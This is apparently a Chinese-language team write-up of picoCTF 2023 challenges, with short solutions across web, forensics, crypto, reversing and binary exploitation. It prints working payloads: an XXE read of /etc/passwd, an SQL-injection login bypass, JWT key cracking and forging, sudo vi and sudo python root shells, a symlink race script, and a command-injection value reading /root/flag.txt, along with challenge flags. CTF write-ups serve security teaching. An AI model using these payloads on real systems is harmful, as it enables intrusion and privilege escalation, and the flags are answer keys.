Web Exploitation: Nacl
、mochu7
Forensics: mochu7
General Skills: Nacl
、mochu7
Cryptography: mochu7
Reverse Enginnering: Nacl
Binary Exploitation: gwoo
、Nacl
Web Exploitation
Findme
提示任意重定向,根据描述传入POST发现跳转过,Burp抓包
两段链接就是flag
>>> from base64 import *
>>> b64decode("cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5X2QxYzBiMTEyfQ==")
b'picoCTF{proxies_all_the_way_d1c0b112}'
MatchTheRegex
function send_request() {
let val = document.getElementById("name").value;
// ^p.....F!?
fetch(`/flag?input=${val}`)
.then(res => res.text())
.then(res => {
const res_json = JSON.parse(res);
alert(res_json.flag)
return false;
})
return false;
}
匹配正则就行:picoCTF!?
SOAP
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY test SYSTEM "file:///etc/passwd" >]><data><ID>&test;</ID></data>
More SQLi
万能密码进后台
POST / HTTP/1.1
Host: saturn.picoctf.net:52604
Content-Length: 63
Cache-Control: max-age=0
Origin: http://saturn.picoctf.net:52604
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:52604/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: arp_scroll_position=45.599998474121094; PHPSESSID=cv4thhcdll4p39ibgo9gbjqcbj
Connection: close
username=admin%27+or+1%3D1--%2B&password=admin%27+or+1%3D1--%2B
Java Code Analysis!?!
任意注册一个账号,进后台,访问各种页面都会提示权限不足
访问第一个free_pdf获取到下载pdf的接口
把3改成5就可以下载flag。pdf,但是因为当前账号权限不足,所以无法下载
看到请求头中有个串jwt,我们拿去jwt.io帮我分析一下
提示给了需要我们爆破jwtkey和修改userId和role
上john得key为1234
修改一下jwt,在改jwt的时候会发现userId要多试几次
改一下要直接复制去burpsuite发包,得到flag
Forensics
Findme
图片附加了一个压缩包,分离解压得到flag
PcapPoisoning
Who is it
Whois查IP
https://www.whois.com/whois/173.249.33.206
picoCTF{WilhelmZwalina}
FindAndOpen
找到一段base64
PS C:\Users\Administrator> php -r "var_dump(base64_decode('VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8='));"
Command line code:1:
string(41) "This is the secret: picoCTF{R34DING_LOKd_"
然后以这半段flag为密码解压压缩包得到flag,流量包中也有提示
Flying on Ethernet secret: Is this the flag
Could the flag have been splitted?
Maybe try checking the other file
This is the secret: picoCTF{R34DING_LOKd_
VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
picoCTF{R34DING_LOKd_fil56_succ3ss_0f2afb1a}
MSB
StegSolve发现RGB 7通道貌似都有数据
保存,从中找到flag
Invisible WORDs
发现压缩包数据
把这段另存出来,脚本提取其中压缩包字节流
with open('output', 'rb') as f:
data = f.read()
with open('flag.zip', 'wb') as f1:
for idx in range(0, len(data), 4):
f1.write(data[idx:idx+2])
解压得到flag
General Skills
chrono
题目描述提示定时执行,查看下crontab发现了flag
money-ware
Google一下这个钱包地址,很快锁定该恶意软件是:Petya
Permissions
SUID提权find / -perm -u=s -type f 2>/dev/null
利用sudo
提:sudo vi -c ':!/bin/sh' /dev/null
repetitions
多重base64解码
Rules 2023
根据提示在比赛规则页面查看源码,Ctrl + F
搜索关键字就可以找到flag
useless
简单的加减乘除脚本,但是提示查看手册,man useless
发现flag
Special
从报错中发现这是一个Python执行程序,并不是一个shell
一开始猜测以为是Python2的input安全问题,尝试了下发现不是,应该是Python3
不过这里可以拼接执行命令
A='ls';$A
A='ls';B='./blargh';$A $B;123
A='cat';B='./blargh/flag.txt';$A $B;123
Specialer
只有这些默认命令可以使用
利用echo
可以浏览目录,利用mapfile
可以读取文件
Cryptography
rotation
rot18
ReadMyCert
https://the-x.cn/zh-cn/base64/
HideToSee
steghide空密码
atbash解码:https://www.dcode.fr/atbash-cipher
Reverse Engineering
Reverse
IDA F5
Safe Opener 2
反编译
timer
反编译
Ready Gladiator 0
;redcode
;name Imp Ex
;assert 1
mov.x $1, $2
dat #1, #2
dat #3, #4
end
就这样做,参考https://blog.csdn.net/colin5300/article/details/8113195
Ready Gladiator 1
;redcode
;name Imp Ex
;assert 1
dist equ 4000 ; CORESIZE/2
istep equ 4001 ; CORESIZE/2+1
launch mov imp, imp+dist
spl imp+dist
imp mov.i #0, istep
end
Binary Exploitation
two-sum
整形溢出,查看源码整体逻辑,输入两个正数,相加的和小于0便会输出flag。因为数据类型都是int型,为补码形式,所以只要两数相加后的最高位为1即可得到负数,即只要两数相加大于int的最大范围 2147483647 即可
babygame01
程序整体逻辑,玩家初始位置(4,4),到达终点(29,89)后输出 “You win! ”,再判断v7变量,若为真则输出flag。
可查看程序时,发现该v7变量只有声明和判断时出现过,所以应该是通过地址偏移赋值的。(在init_player函数中用地址偏移赋值为0)
查看移动位置函数,可看出wsad为上下左右移动,l为输入一个字符到play_tile中,p为直接到达终点。
且最后result存放(a1[1] + a3 + 90 * a1)的地址,a3为main函数中v8变量的地址,a1为v5变量的地址即玩家坐标中的y,a1[1]则为指向v6变量即玩家坐标中的x。
之后result所指向的地址的值改为我们输入到play_tile中的字符,可以通过这个使result指向v7变量地址,然后改变v7变量的值,再抵达终点即输出flag。
即(x + &v8 + y90) = &v7 ,v7与v8地址偏移为A-E=-4。所以只要当我们坐标为(-4,0)时,result便会指v7的地址,再给v7赋值为我们输入l后输入给player_tile的值。
因此,我们先移动到(0,0),再输入4个a移动到(-4,0)。此时不会显示坐标但别担心,已经移动到想要的坐标了。之后输入l ,再输入一个非0的字符,此时我们输入的字符便会输入到v7变量。再输入p自动到达终点。便会输出flag。
tic-tac
条件竞争,因为打开文件读取内容 和鉴权是2次独立的行为,可以在二者中间修改软连接对应的文件达到权限欺骗的功能。
先运行1.py 然后运行2.py
import os
while 1:
os.system('ln -sf /home/ctf-player/sydd /home/ctf-player/hzgg')
os.system('ln -sf /home/ctf-player/flag.txt /home/ctf-player/hzgg')
import os
while 1:
os.system('/home/ctf-player/txtreader /home/ctf-player/hzgg')
在补档一个C语言脚本
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
gcc link.c -o link
./link flag.txt f &
./txtreader f
hijacking
ssh 连接进去之后查看到当前目录下有个.server.py 文件,而且是root创建的
ls -al
使用sudo -l查看一下,发先有权限执行vi和/usr/bin/python3 /home/picoctf/.server.py
sudo -l
sudo vi .server.py #编辑脚本
···
import os
os.system("bash")
···
sudo /usr/bin/python3 /home/picoctf/.server.py #执行之后以root身份运行一个shell
VNE
ls -al
export SECRET_DIR='/&cat /root/flag.txt'
./bin